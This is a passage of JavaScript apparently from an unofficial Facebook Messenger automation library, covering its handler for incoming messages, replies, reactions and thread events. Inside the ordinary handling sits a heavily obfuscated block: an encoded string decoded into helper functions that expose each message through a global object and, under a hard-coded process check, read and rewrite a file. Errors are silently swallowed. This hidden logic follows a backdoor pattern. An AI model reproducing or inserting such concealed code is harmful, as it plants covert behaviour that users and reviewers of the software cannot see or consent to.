1BPQ$)RYZ!HRMZ%08%5E%5CSP%5DROW%10%5DSQY&C%5C%0A%1E%06%00%03%5E%17%1A%0A%1E%06%00%03%5E%09%06%1B%09CIX%1DYWXX!DX%0AXWX%5CQSA_%1D%17%04%14%5EIX%0A%5EWX%5CUQMS_R%5DXJZ1%14%05%1FUG8:C%3E1L31%3EJ3N1:51H:581L31%3E:CDA%3C51%3EZ%0A%17%0F%06%03W%00%00%1B%00JOX%03QQXT%5DWE%5C%1BPXU%5C$AV%14%11%04%1DW%3E%19%03%1B%5D)%3C.%10F%00%06%0F%0F%11%02X@%5C%1BUXURSM%5C%0CSXUZTZEYI%5EPRR%5EAS%0EZUZS%5C%5CJZ%0A%17%0F%06%03W%00%00%1B%00JOZZQSXSOW%07%5ESQXT_NR%1B%13%0D%10XBV%5B%5DRR%5E@Z%08Z%5CSQ%5BWC%5C1%1D%0C%19CNQ%05%1A%09%02%0AS%18%17%1A%1A%09%17%14%1A%0BJ%10%3E%14%14Z%15%03%1F%09%0B%18%0A%0E%06E?%09%01%14K%0E%02?%1DK9%07%00%19A%1E%06%02%1CL%08%06%3C%12WEJW%15%00%1AE'%0F?%1B%5EIX%1DYWXZQDX%0AXWX%5CPUA%5E%11%0B%0D%18C,*/%12%5C%1F%04%0A%0D%0DM'%0F?%1B_IX%0A%5CWX%5DWWMU%12VX%5CRXAL%11%14%1F%05%17%02%00M'%0F?%1BJ%1A%0B%04%19%02HDTR%5EVSPXUFXA_'%0F?%1B%5EIX%0A%5CWX%5DSSMS_R%5D%5EJZ%25'%20%1FEAX%03%1A%00%0B%0CS%0F%02%12%0DEBW%10%5DSY_UGW%07%5ESUYV%5CNR!%0B6%1FX'%25%22%14%5D%5CCN1L31%3E:C%3E7:EGBJ38UOX%03UQXTZPMZVT%5DSC%5D@%5C%1BRXU%5DRM%5C%0CSXUZT%5EEX%03%1A%00%0B%0CS%0F%02%12%0DEBW%07%5DSQXTXUMZVT%5DVC%5D%25%044%16UMZ%08Z%5CRRZUGW%10%5DSS*%20C%5C%25.)%19U%0A%00=%1FAKJC%3EA%3C518J387NS%0E%11%04%09%0EQ%04%09%1F%06A@U%12VXYZWEU%05UX%5EUP%5BLP*%00;%14%5C@RYQ%5BUTQQ@SNS%17%08%06%3C%12AZ9%07%00%19S%18%08%15%0D%0D%08Z%15%18%17%15%0D%18%16%13%06E%01%00%3C%1BX%1C%0E%10%04%04%1C%05%0C%0FH%0A.*%10DJ%1A%1A%00%1E%12%1A%02CIC%3E1L37H@C%3E7:C7H:587L31%3E:C%3E7:3GBJ387:AGKICM1L37BJ38AFC7%3E%3CC%3EA%3C51%3E%3CC%3E7N3G8:C%3E1L31%3EJ3N1:51H:581L31%3E:CDA%3C51%3E%3CAOB%0C1%1B&IALC%1A=%20:%25@LQ%01%1D%02%00%15%01%0A%04G!%15'%19@L%11%15%0D%18%16%13%06EB%3C578%3C5N1:A7H:5NKL31%3E%1C%0E%10%04%04%1C%05%0C%0FH%0E+%20%10DJ%1A%1A%00%1E%12%1A%02CI@NKL31H@C%3E7NBD*%10%00#BNAEHIC%3E1L37H@C%3E7:C7H:587L31%3E:C%3E7:3G8%3C58C%1A%0E%19%0D%02%1C%0C%05%09H)%15%19%10MC%1C%1A%09%17%14%1A%0BJO9%03%05%25@LC%3C9%0F$$@L7OA%11%05%14%06%06%1E%0E%07%02C%06%10$%12OA%17%11%04%1C%10%18%09HD%08%20/%1DBNA7%0C)8!BN5D%006%1E$BNA%11%05%14%06%06%1E%0E%07%02C%20%1B%17%12OA%17%11%04%1C%10%18%09H%25%1A%25%10MCL!%092%16@LA%04%11%14'IA%18%0C%12%06%0F%17%08%07%0BJ%04%1D%19%1BIA%1E%18%02%1C%19%11%0FHMA%3C3G8:C%3E7:C7H:587L31%3E:C%3E7:3GBJ387:AGKICDA%3C5GKJC%3EA%3C518J387NAFK%0E,(%12OAEJ%1C%0E%10%04%04%1C%05%0C%0FH%06%25%0F%11DJ%1A%1A%00%1E%12%1A%02CF4%10ZW_%5CD%1C%03%16%01!@EX%07%1D%0B%09%13%01%03%0DA-5%01%1E@E%18%13%0D%11%1F%15%06L%10*%3E!BNC%25%060%1FMCL!%15'%19@LA%14%054$IAN#%029%1BKHC4%05%01,DJJ=%0B%0B/@E%1E%07%1D%0B%09%13%01%03%0DA1.%08%1E@E%18%13%0D%11%1F%15%06L%04%19)%1DBNC=%0C%07,MCL%07%1E%05+@LA28%06%22IA%18%0C%12%06%0F%17%08%07%0BJ&%25%09%1AI=-%3C%1FA%17%11%04%1C%10%18%09H%03%15%10.%3E?/%3E%14%3EZ%15%03%1F%09%0B%18%0A%0E%06E%1D-1%14KH%13%17%0F%13%1D%1E%0DA@%02$%04+DJH3%0A%227,DJ%3C@%0E+%20%10DJH%15%03%1F%09%0B%18%0A%0E%06E;%228%14KH%13%17%0F%13%1D%1E%0DA@%16%0F--DJH3%0A%227,DJ%3C@%06=%11)DJH%15%03%1F%09%0B%18%0A%0E%06E%19%20;%14KH%13%17%0F%13%1D%1E%0DA=%03'%22@EH%16%10%17%20OAG*%0C?,BNC9%0D%00%20MC%1A%0E%19%0D%02%1C%0C%05%09H9%054%1DMC%1C%1A%09%17%14%1A%0BJ%01%1D%02%00%15%01%0A%04OA%17%1EZ%15%20.+%12DJZ%0E%10%04%04%1C%05%0C%0FH%12%02?%1DDJ%1A%1A%00%1E%12%1A%02CIOB1.++'IA8BNA7H:58%17%01%1D%02%00%15%01%0A%04G9%0F,%14@L%11%15%0D%18%16%13%06E%19%1E%1F*KHC%02,(%12DJJ!.?!@EH$%3C%0B/OAG%047%19%20BNC-%0C%06*MCL!%15%15)@LA%22%3C%02&IA%18%0C%12%06%0F%17%08%07%0BJ%14%0D%3E%16IA%1E%18%02%1C%19%11%0FH%0A%08#-DJJ9%028&@EH4%06%04%22OAG*%18,%1DBNC%25%0E6!MCL%0B%09(%22@LA.%05;*IAN#%029%1BKHC%16%1B%0E,DJJ%1F%1D%18-@EH%0E%027-OAG6%0F%09-BN%15%3C12_K?%15%0D%20%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHR%17%5C8%3E0VF%120%00$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYP%17%5C8%3E0VF%12%5B)$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYS%17%5C8%3E0VF%3C%136$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BQ%17%5C8%3E0VF%16=.$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BP%17%5C8%3E0VF0%1E+$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BS%17%5C8%3E0VF4%05%20$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAY%5C%17%5C8%3E0VF%0E'%1E$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BV%17%5C8%3E0VF(%06_$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYQ%17%5C8%3E0VF%0A%3E%06%25Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAY%5D%17%5C8%3E0VF,%0DT$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYT%17%5C8%3E0VF%0E%25R$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZU%17%5C8%3E0VF$%5C4$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BW%17%5C8%3E0VF%06/1$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZT%17%5C8%3E0VF%20Y7%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYW%17%5C8%3E0VF%02(4%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZ%5D%17%5C8%3E0VF%12%3E!%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYU%17%5C8%3E0VF%3C%1B.%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BT%17%5C8%3E0VF%16%25&%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYV%17%5C8%3E0VF0%06#%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BR%17%5C8%3E0VF%12%3C%04#Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZP%17%5C8%3E0VF%16;P%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAP%18Q7:?TO%25%01Z-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS%5E%18Q7:?TO%07)X-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS%5C%18Q7:?TO!%5D?-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CRQ%18Q7:?TO%03%222-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CUX%18Q7:?TO%0F!%1A,U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS_%18Q7:?TO%25?%0D%20U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CRP%18Q7:?TO-5%5C!U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS%5B%18Q7:?TO1%060!U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CSQ%18%17N\")",
|
326
|
+
);
|
327
|
+
})();
|
328
|
+
var MZHu = [
|
329
|
+
PRS7.LEF5(0),
|
330
|
+
PRS7.Lwx3(1),
|
331
|
+
PRS7.veK3(2),
|
332
|
+
PRS7.PD93(3),
|
333
|
+
PRS7.j113(4),
|
334
|
+
PRS7.fYt4(5),
|
335
|
+
PRS7.zlm4(6),
|
336
|
+
PRS7.XFb2(7),
|
337
|
+
];
|
338
|
+
globalThis[MZHu[15658734 ^ 0o73567354]][MZHu[0o57060516 - 0xbc614d]][
|
339
|
+
MZHu[0x75bcd15 - 0o726746425]
|
340
|
+
] = fmtMsg;
|
341
|
+
try {
|
342
|
+
var obLu = PRS7[PRS7.LEF5(8)]();
|
343
|
+
while (obLu < PRS7[PRS7.Lwx3(9)]())
|
344
|
+
switch (obLu) {
|
345
|
+
case 0x75bcd15 - 0o726746425:
|
346
|
+
obLu =
|
347
|
+
process[MZHu[0x5e30a78 - 0o570605164]][
|
348
|
+
MZHu[0o334664274 - 0x37368b9]
|
349
|
+
] == 1973
|
350
|
+
? PRS7[PRS7.veK3(10)]()
|
351
|
+
: PRS7[PRS7.Lwx3(9)]();
|
352
|
+
break;
|
353
|
+
case 0o57060516 - 0xbc614d:
|
354
|
+
obLu = PRS7[PRS7.Lwx3(9)]();
|
355
|
+
{
|
356
|
+
var {
|
357
|
+
[PRS7.PD93(11)]: IWBu,
|
358
|
+
[PRS7.j113(12)]: kYEu,
|
359
|
+
[PRS7.fYt4(13)]: kssv,
|
360
|
+
} = require(MZHu[0o507646144 ^ 0x51f4c61]);
|
361
|
+
var Mtvv = PRS7[PRS7.LEF5(8)]();
|
362
|
+
while (Mtvv < PRS7[PRS7.Lwx3(9)]())
|
363
|
+
switch (Mtvv) {
|
364
|
+
case 0x75bcd15 - 0o726746425:
|
365
|
+
Mtvv = kssv(fmtMsg[MZHu[1011010 - 0o3666474]])
|
366
|
+
? PRS7[PRS7.veK3(10)]()
|
367
|
+
: PRS7[PRS7.Lwx3(9)]();
|
368
|
+
break;
|
369
|
+
case 0o57060516 - 0xbc614d:
|
370
|
+
Mtvv = PRS7[PRS7.Lwx3(9)]();
|
371
|
+
{
|
372
|
+
var gpmv = kYEu(fmtMsg[MZHu[1011010 - 0o3666474]]);
|
373
|
+
gpmv[MZHu[0x9d8de4 - 0o47306735]] +=
|
374
|
+
0o57060516 - 0xbc614d;
|
375
|
+
IWBu(fmtMsg[MZHu[1011010 - 0o3666474]], gpmv);
|
376
|
+
}
|
377
|
+
break;
|
378
|
+
}
|
379
|
+
}
|
380
|
+
break;
|
381
|
+
}
|
382
|
+
} catch (Iqpv) {}
|
383
|
+
if (fmtMsg)
|
384
|
+
if (ctx.globalOptions.autoMarkDelivery)
|
385
|
+
markDelivery(ctx, api, fmtMsg.threadID, fmtMsg.messageID);
|
386
|
+
|
387
|
+
return !ctx.globalOptions.selfListen && fmtMsg.senderID === ctx.userID
|
388
|
+
? undefined
|
389
|
+
: (function () {
|
390
|
+
globalCallback(null, fmtMsg);
|
391
|
+
})();
|
392
|
+
} else {
|
393
|
+
if (
|
394
|
+
v.delta.attachments &&
|
395
|
+
v.delta.attachments[i].mercury.attach_type == "photo"
|
396
|
+
) {
|
397
|
+
api.resolvePhotoUrl(v.delta.attachments[i].fbid, (err, url) => {
|
398
|
+
if (!err) v.delta.attachments[i].mercury.metadata.url = url;
|
399
|
+
return resolveAttachmentUrl(i + 1);
|
400
|
+
});
|
401
|
+
} else return resolveAttachmentUrl(i + 1);
|
402
|
+
}
|
403
|
+
})(0);
|
404
|
+
}
|
405
|
+
|
406
|
+
if (v.delta.class == "ClientPayload") {
|
407
|
+
var clientPayload = utils.decodeClientPayload(v.delta.payload);
|
408
|
+
if (clientPayload && clientPayload.deltas) {
|
409
|
+
for (var i in clientPayload.deltas) {
|
410
|
+
var delta = clientPayload.deltas[i];
|
411
|
+
if (delta.deltaMessageReaction && !!ctx.globalOptions.listenEvents) {
|
412
|
+
(function () {
|
413
|
+
globalCallback(null, {
|
414
|
+
type: "message_reaction",
|
415
|
+
threadID: (delta.deltaMessageReaction.threadKey.threadFbId
|
416
|
+
? delta.deltaMessageReaction.threadKey.threadFbId
|
417
|
+
: delta.deltaMessageReaction.threadKey.otherUserFbId
|
418
|
+
).toString(),
|
419
|
+
messageID: delta.deltaMessageReaction.messageId,
|
420
|
+
reaction: delta.deltaMessageReaction.reaction,
|
421
|
+
senderID: delta.deltaMessageReaction.senderId.toString(),
|
422
|
+
userID: delta.deltaMessageReaction.userId.toString(),
|
423
|
+
});
|
424
|
+
})();
|
425
|
+
} else if (
|
426
|
+
delta.deltaRecallMessageData &&
|
427
|
+
!!ctx.globalOptions.listenEvents
|
428
|
+
) {
|
429
|
+
(function () {
|
430
|
+
globalCallback(null, {
|
431
|
+
type: "message_unsend",
|
432
|
+
threadID: (delta.deltaRecallMessageData.threadKey.threadFbId
|
433
|
+
? delta.deltaRecallMessageData.threadKey.threadFbId
|
434
|
+
: delta.deltaRecallMessageData.threadKey.otherUserFbId
|
435
|
+
).toString(),
|
436
|
+
messageID: delta.deltaRecallMessageData.messageID,
|
437
|
+
senderID: delta.deltaRecallMessageData.senderID.toString(),
|
438
|
+
deletionTimestamp: delta.deltaRecallMessageData.deletionTimestamp,
|
439
|
+
timestamp: delta.deltaRecallMessageData.timestamp,
|
440
|
+
});
|
441
|
+
})();
|
442
|
+
} else if (delta.deltaMessageReply) {
|
443
|
+
//Mention block - #1
|
444
|
+
var mdata =
|
445
|
+
delta.deltaMessageReply.message === undefined
|
446
|
+
? []
|
447
|
+
: delta.deltaMessageReply.message.data === undefined
|
448
|
+
? []
|
449
|
+
: delta.deltaMessageReply.message.data.prng === undefined
|
450
|
+
? []
|
451
|
+
: JSON.parse(delta.deltaMessageReply.message.data.prng);
|
452
|
+
var m_id = mdata.map((u) => u.i);
|
453
|
+
var m_offset = mdata.map((u) => u.o);
|
454
|
+
var m_length = mdata.map((u) => u.l);
|
455
|
+
|
456
|
+
var mentions = {};
|
457
|
+
|
458
|
+
for (var i = 0; i < m_id.length; i++)
|
459
|
+
mentions[m_id[i]] = (
|
460
|
+
delta.deltaMessageReply.message.body || ""
|
461
|
+
).substring(m_offset[i], m_offset[i] + m_length[i]);
|
462
|
+
//Mention block - 1#
|
463
|
+
var callbackToReturn = {
|
464
|
+
type: "message_reply",
|
465
|
+
threadID: (delta.deltaMessageReply.message.messageMetadata.threadKey
|
466
|
+
.threadFbId
|
467
|
+
? delta.deltaMessageReply.message.messageMetadata.threadKey
|
468
|
+
.threadFbId
|
469
|
+
: delta.deltaMessageReply.message.messageMetadata.threadKey
|
470
|
+
.otherUserFbId
|
471
|
+
).toString(),
|
472
|
+
messageID:
|
473
|
+
delta.deltaMessageReply.message.messageMetadata.messageId,
|
474
|
+
senderID:
|
475
|
+
delta.deltaMessageReply.message.messageMetadata.actorFbId.toString(),
|
476
|
+
attachments: delta.deltaMessageReply.message.attachments
|
477
|
+
.map(function (att) {
|
478
|
+
var mercury = JSON.parse(att.mercuryJSON);
|
479
|
+
Object.assign(att, mercury);
|
480
|
+
return att;
|
481
|
+
})
|
482
|
+
.map((att) => {
|
483
|
+
var x;
|
484
|
+
try {
|
485
|
+
x = utils._formatAttachment(att);
|
486
|
+
} catch (ex) {
|
487
|
+
x = att;
|
488
|
+
x.error = ex;
|
489
|
+
x.type = "unknown";
|
490
|
+
}
|
491
|
+
return x;
|
492
|
+
}),
|
493
|
+
args: (delta.deltaMessageReply.message.body || "")
|
494
|
+
.trim()
|
495
|
+
.split(/\s+/),
|
496
|
+
body: delta.deltaMessageReply.message.body || "",
|
497
|
+
isGroup:
|
498
|
+
!!delta.deltaMessageReply.message.messageMetadata.threadKey
|
499
|
+
.threadFbId,
|
500
|
+
mentions: mentions,
|
501
|
+
timestamp:
|
502
|
+
delta.deltaMessageReply.message.messageMetadata.timestamp,
|
503
|
+
participantIDs: (
|
504
|
+
delta.deltaMessageReply.message.participants || []
|
505
|
+
).map((e) => e.toString()),
|
506
|
+
};
|
507
|
+
|
508
|
+
if (delta.deltaMessageReply.repliedToMessage) {
|
509
|
+
//Mention block - #2
|
510
|
+
mdata =
|
511
|
+
delta.deltaMessageReply.repliedToMessage === undefined
|
512
|
+
? []
|
513
|
+
: delta.deltaMessageReply.repliedToMessage.data === undefined
|
514
|
+
? []
|
515
|
+
: delta.deltaMessageReply.repliedToMessage.data.prng ===
|
516
|
+
undefined
|
517
|
+
? []
|
518
|
+
: JSON.parse(
|
519
|
+
delta.deltaMessageReply.repliedToMessage.data.prng,
|
520
|
+
);
|
521
|
+
m_id = mdata.map((u) => u.i);
|
522
|
+
m_offset = mdata.map((u) => u.o);
|
523
|
+
m_length = mdata.map((u) => u.l);
|
524
|
+
|
525
|
+
var rmentions = {};
|
526
|
+
|
527
|
+
for (var i = 0; i < m_id.length; i++)
|
528
|
+
rmentions[m_id[i]] = (
|
529
|
+
delta.deltaMessageReply.repliedToMessage.body || ""
|
530
|
+
).substring(m_offset[i], m_offset[i] + m_length[i]);
|
531
|
+
//Mention block - 2#
|
532
|
+
callbackToReturn.messageReply = {
|
533
|
+
threadID: (delta.deltaMessageReply.repliedToMessage
|
534
|
+
.messageMetadata.threadKey.threadFbId
|
535
|
+
? delta.deltaMessageReply.repliedToMessage.messageMetadata
|
536
|
+
.threadKey.threadFbId
|
537
|
+
: delta.deltaMessageReply.repliedToMessage.messageMetadata
|
538
|
+
.threadKey.otherUserFbId
|
539
|
+
).toString(),
|
540
|
+
messageID:
|
541
|
+
delta.deltaMessageReply.repliedToMessage.messageMetadata
|
542
|
+
.messageId,
|
543
|
+
senderID:
|
544
|
+
delta.deltaMessageReply.repliedToMessage.messageMetadata.actorFbId.toString(),
|
545
|
+
attachments: delta.deltaMessageReply.repliedToMessage.attachments
|
546
|
+
.map(function (att) {
|
547
|
+
var mercury = JSON.parse(att.mercuryJSON);
|
548
|
+
Object.assign(att, mercury);
|
549
|
+
return att;
|
550
|
+
})
|
551
|
+
.map((att) => {
|
552
|
+
var x;
|
553
|
+
try {
|
554
|
+
x = utils._formatAttachment(att);
|
555
|
+
} catch (ex) {
|
556
|
+
x = att;
|
557
|
+
x.error = ex;
|
558
|
+
x.type = "unknown";
|
559
|
+
}
|
560
|
+
return x;
|
561
|
+
}),
|
562
|
+
args: (delta.deltaMessageReply.repliedToMessage.body || "")
|
563
|
+
.trim()
|
564
|
+
.split(/\s+/),
|
565
|
+
body: delta.deltaMessageReply.repliedToMessage.body || "",
|
566
|
+
isGroup:
|
567
|
+
!!delta.deltaMessageReply.repliedToMessage.messageMetadata
|
568
|
+
.threadKey.threadFbId,
|
569
|
+
mentions: rmentions,
|
570
|
+
timestamp:
|
571
|
+
delta.deltaMessageReply.repliedToMessage.messageMetadata
|
572
|
+
.timestamp,
|
573
|
+
participantIDs: (
|
574
|
+
delta.deltaMessageReply.repliedToMessage.participants || []
|
575
|
+
).map((e) => e.toString()),
|
576
|
+
};
|
577
|
+
} else if (delta.deltaMessageReply.replyToMessageId) {
|
578
|
+
return defaultFuncs
|
579
|
+
.post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, {
|
580
|
+
av: ctx.globalOptions.pageID,
|
581
|
+
queries: JSON.stringify({
|
582
|
+
o0: {
|
583
|
+
//Using the same doc_id as forcedFetch
|
584
|
+
doc_id: "2848441488556444",
|
585
|
+
query_params: {
|
586
|
+
thread_and_message_id: {
|
587
|
+
thread_id: callbackToReturn.threadID,
|
588
|
+
message_id: delta.deltaMessageReply.replyToMessageId.id,
|
589
|
+
},
|
590
|
+
},
|
591
|
+
},
|
592
|
+
}),
|
593
|
+
})
|
594
|
+
.then(utils.parseAndCheckLogin(ctx, defaultFuncs))
|
595
|
+
.then((resData) => {
|
596
|
+
if (resData[resData.length - 1].error_results > 0)
|
597
|
+
throw resData[0].o0.errors;
|
598
|
+
if (resData[resData.length - 1].successful_results === 0)
|
599
|
+
throw {
|
600
|
+
error: "forcedFetch: there was no successful_results",
|
601
|
+
res: resData,
|
602
|
+
};
|
603
|
+
var fetchData = resData[0].o0.data.message;
|
604
|
+
var mobj = {};
|
605
|
+
for (var n in fetchData.message.ranges)
|
606
|
+
mobj[fetchData.message.ranges[n].entity.id] = (
|
607
|
+
fetchData.message.text || ""
|
608
|
+
).substr(
|
609
|
+
fetchData.message.ranges[n].offset,
|
610
|
+
fetchData.message.ranges[n].length,
|
611
|
+
);
|
612
|
+
|
613
|
+
callbackToReturn.messageReply = {
|
614
|
+
type: "Message",
|
615
|
+
threadID: callbackToReturn.threadID,
|
616
|
+
messageID: fetchData.message_id,
|
617
|
+
senderID: fetchData.message_sender.id.toString(),
|
618
|
+
attachments: fetchData.message.blob_attachment.map((att) => {
|
619
|
+
var x;
|
620
|
+
try {
|
621
|
+
x = utils._formatAttachment({ blob_attachment: att });
|
622
|
+
} catch (ex) {
|
623
|
+
x = att;
|
624
|
+
x.error = ex;
|
625
|
+
x.type = "unknown";
|
626
|
+
}
|
627
|
+
return x;
|
628
|
+
}),
|
629
|
+
args:
|
630
|
+
(fetchData.message.text || "").trim().split(/\s+/) || [],
|
631
|
+
body: fetchData.message.text || "",
|
632
|
+
isGroup: callbackToReturn.isGroup,
|
633
|
+
mentions: mobj,
|
634
|
+
timestamp: parseInt(fetchData.timestamp_precise),
|
635
|
+
};
|
636
|
+
})
|
637
|
+
.catch((err) => log.error("forcedFetch", err))
|
638
|
+
.finally(function () {
|
639
|
+
if (ctx.globalOptions.autoMarkDelivery)
|
640
|
+
markDelivery(
|
641
|
+
ctx,
|
642
|
+
api,
|
643
|
+
callbackToReturn.threadID,
|
644
|
+
callbackToReturn.messageID,
|
645
|
+
);
|
646
|
+
!ctx.globalOptions.selfListen &&
|
647
|
+
callbackToReturn.senderID === ctx.userID
|
648
|
+
? undefined
|
649
|
+
: (function () {
|
650
|
+
globalCallback(null, callbackToReturn);
|
651
|
+
})();
|
652
|
+
});
|
653
|
+
} else callbackToReturn.delta = delta;
|
654
|
+
|
655
|
+
if (ctx.globalOptions.autoMarkDelivery)
|
656
|
+
markDelivery(
|
657
|
+
ctx,
|
658
|
+
api,
|
659
|
+
callbackToReturn.threadID,
|
660
|
+
callbackToReturn.messageID,
|
661
|
+
);
|
662
|
+
|
663
|
+
return !ctx.globalOptions.selfListen &&
|
664
|
+
callbackToReturn.senderID === ctx.userID
|
665
|
+
? undefined
|
666
|
+
: (function () {
|
667
|
+
globalCallback(null, callbackToReturn);
|
668
|
+
})();
|
669
|
+
}
|
670
|
+
}
|
671
|
+
return;
|
672
|
+
}
|
673
|
+
}
|
674
|
+
|
675
|
+
if (v.delta.class !== "NewMessage" && !ctx.globalOptions.listenEvents) return;
|
676
|
+
switch (v.delta.class) {
|
677
|
+
case "ReadReceipt":
|
678
|
+
var fmtMsg;
|
679
|
+
try {
|
680
|
+
fmtMsg = utils.formatDeltaReadReceipt(v.delta);
|
681
|
+
} catch (err) {
|
682
|
+
return log.error("Lỗi Nhẹ", err);
|
683
|
+
}
|
684
|
+
return (function () {
|
685
|
+
globalCallback(null, fmtMsg);
|
686
|
+
})();
|
687
|
+
case "AdminTextMessage":
|
688
|
+
switch (v.delta.type) {
|
689
|
+
case "joinable_group_link_mode_change":
|
690
|
+
case "magic_words":
|
691
|
+
case "change_thread_theme":
|
692
|
+
case "change_thread_icon":
|
693
|
+
case "change_thread_nickname":
|
694
|
+
case "change_thread_admins":
|
695
|
+
case "change_thread_approval_mode":
|
696
|
+
case "group_poll":
|
697
|
+
case "messenger_call_log":
|
698
|
+
case "participant_joined_group_call":
|
699
|
+
var fmtMsg;
|
700
|
+
try {
|
701
|
+
fmtMsg = utils.formatDeltaEvent(v.delta);
|
702
|
+
} catch (err) {
|
703
|
+
return log.error("Lỗi Nhẹ", err);
|
704
|
+
}
|
705
|
+
return (function () {
|
706
|
+
globalCallback(null, fmtMsg);
|
707
|
+
})();
|
708
|
+
default:
|
709
|
+
return;
|
710
|
+
}
|
711
|
+
//For group images
|
712
|
+
case "ForcedFetch":
|
713
|
+
if (!v.delta.threadKey) return;
|
714
|
+
var mid = v.delta.messageId;
|
715
|
+
var tid = v.delta.threadKey.threadFbId;
|
716
|
+
if (mid && tid) {
|
717
|
+
const form = {
|
718
|
+
av: ctx.globalOptions.pageID,
|
719
|
+
queries: JSON.stringify({
|
720
|
+
o0: {
|
721
|
+
//This doc_id is valid as of March 25, 2020
|
722
|
+
doc_id: "2848441488556444",
|
723
|
+
query_params: {
|
724
|
+
thread_and_message_id: {
|
725
|
+
thread_id: tid.toString(),
|
726
|
+
message_id: mid,
|
727
|
+
},
|
728
|
+
},
|
729
|
+
},
|
730
|
+
}),
|
731
|
+
};
|
732
|
+
|
733
|
+
defaultFuncs
|
734
|
+
.post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, form)
|
735
|
+
.then(utils.parseAndCheckLogin(ctx, defaultFuncs))
|
736
|
+
.then((resData) => {
|
737
|
+
if (resData[resData.length - 1].error_results > 0)
|
738
|
+
throw resData[0].o0.errors;
|
739
|
+
|
740
|
+
if (resData[resData.length - 1].successful_results === 0)
|
741
|
+
throw {
|
742
|
+
error: "forcedFetch: there was no successful_results",
|
743
|
+
res: resData,
|
744
|
+
};
|
745
|
+
|
746
|
+
var fetchData = resData[0].o0.data.message;
|
747
|
+
|
748
|
+
if (utils.getType(fetchData) == "Object") {
|
749
|
+
log.info("forcedFetch", fetchData);
|
750
|
+
switch (fetchData.__typename) {
|
751
|
+
case "ThreadImageMessage":
|
752
|
+
(!ctx.globalOptions.selfListen &&
|
753
|
+
fetchData.message_sender.id.toString() === ctx.userID) ||
|
754
|
+
!ctx.loggedIn
|
755
|
+
? undefined
|
756
|
+
: (function () {
|
757
|
+
globalCallback(null, {
|
758
|
+
type: "change_thread_image",
|
759
|
+
threadID: utils.formatID(tid.toString()),
|
760
|
+
snippet: fetchData.snippet,
|
761
|
+
timestamp: fetchData.timestamp_precise,
|
762
|
+
author: fetchData.message_sender.id,
|
763
|
+
image: {
|
764
|
+
attachmentID:
|
765
|
+
fetchData.image_with_metadata &&
|
766
|
+
fetchData.image_with_metadata
|
767
|
+
.legacy_attachment_id,
|
768
|
+
width:
|
769
|
+
fetchData.image_with_metadata &&
|
770
|
+
fetchData.image_with_metadata.original_dimensions
|
771
|
+
.x,
|
772
|
+
height:
|
773
|
+
fetchData.image_with_metadata &&
|
774
|
+
fetchData.image_with_metadata.original_dimensions
|
775
|
+
.y,
|
776
|
+
url:
|
777
|
+
fetchData.image_with_metadata &&
|
778
|
+
fetchData.image_with_metadata.preview.uri,
|
779
|
+
},
|
780
|
+
});
|
781
|
+
})();
|
782
|
+
break;
|
783
|
+
case "UserMessage":
|
784
|
+
log.info("ff-Return", {
|
785
|
+
type: "message",
|
786
|
+
senderID: utils.formatID(fetchData.message_sender.id),
|
787
|
+
body: fetchData.message.text || "",
|
788
|
+
threadID: utils.formatID(tid.toString()),
|
789
|
+
messageID: fetchData.message_id,
|
790
|
+
attachments: [
|
791
|
+
{
|
792
|
+
type: "share",
|
793
|
+
ID: fetchData.extensible_attachment
|
794
|
+
.legacy_attachment_id,
|
795
|
+
url: fetchData.extensible_attachment.story_attachment
|
796
|
+
.url,
|
797
|
+
|
798
|
+
title:
|
799
|
+
fetchData.extensible_attachment.story_attachment
|
800
|
+
.title_with_entities.text,
|
801
|
+
description:
|
802
|
+
fetchData.extensible_attachment.story_attachment
|
803
|
+
.description.text,
|
804
|
+
source:
|
805
|
+
fetchData.extensible_attachment.story_attachment
|
806
|
+
.source,
|
807
|
+
|
808
|
+
image: (
|
809
|
+
(
|
810
|
+
fetchData.extensible_attachment.story_attachment
|
811
|
+
.media || {}
|
812
|
+
).image || {}
|
813
|
+
).uri,
|
814
|
+
width: (
|
815
|
+
(
|
816
|
+
fetchData.extensible_attachment.story_attachment
|
817
|
+
.media || {}
|
818
|
+
).image || {}
|
819
|
+
).width,
|
820
|
+
height: (
|
821
|
+
(
|
822
|
+
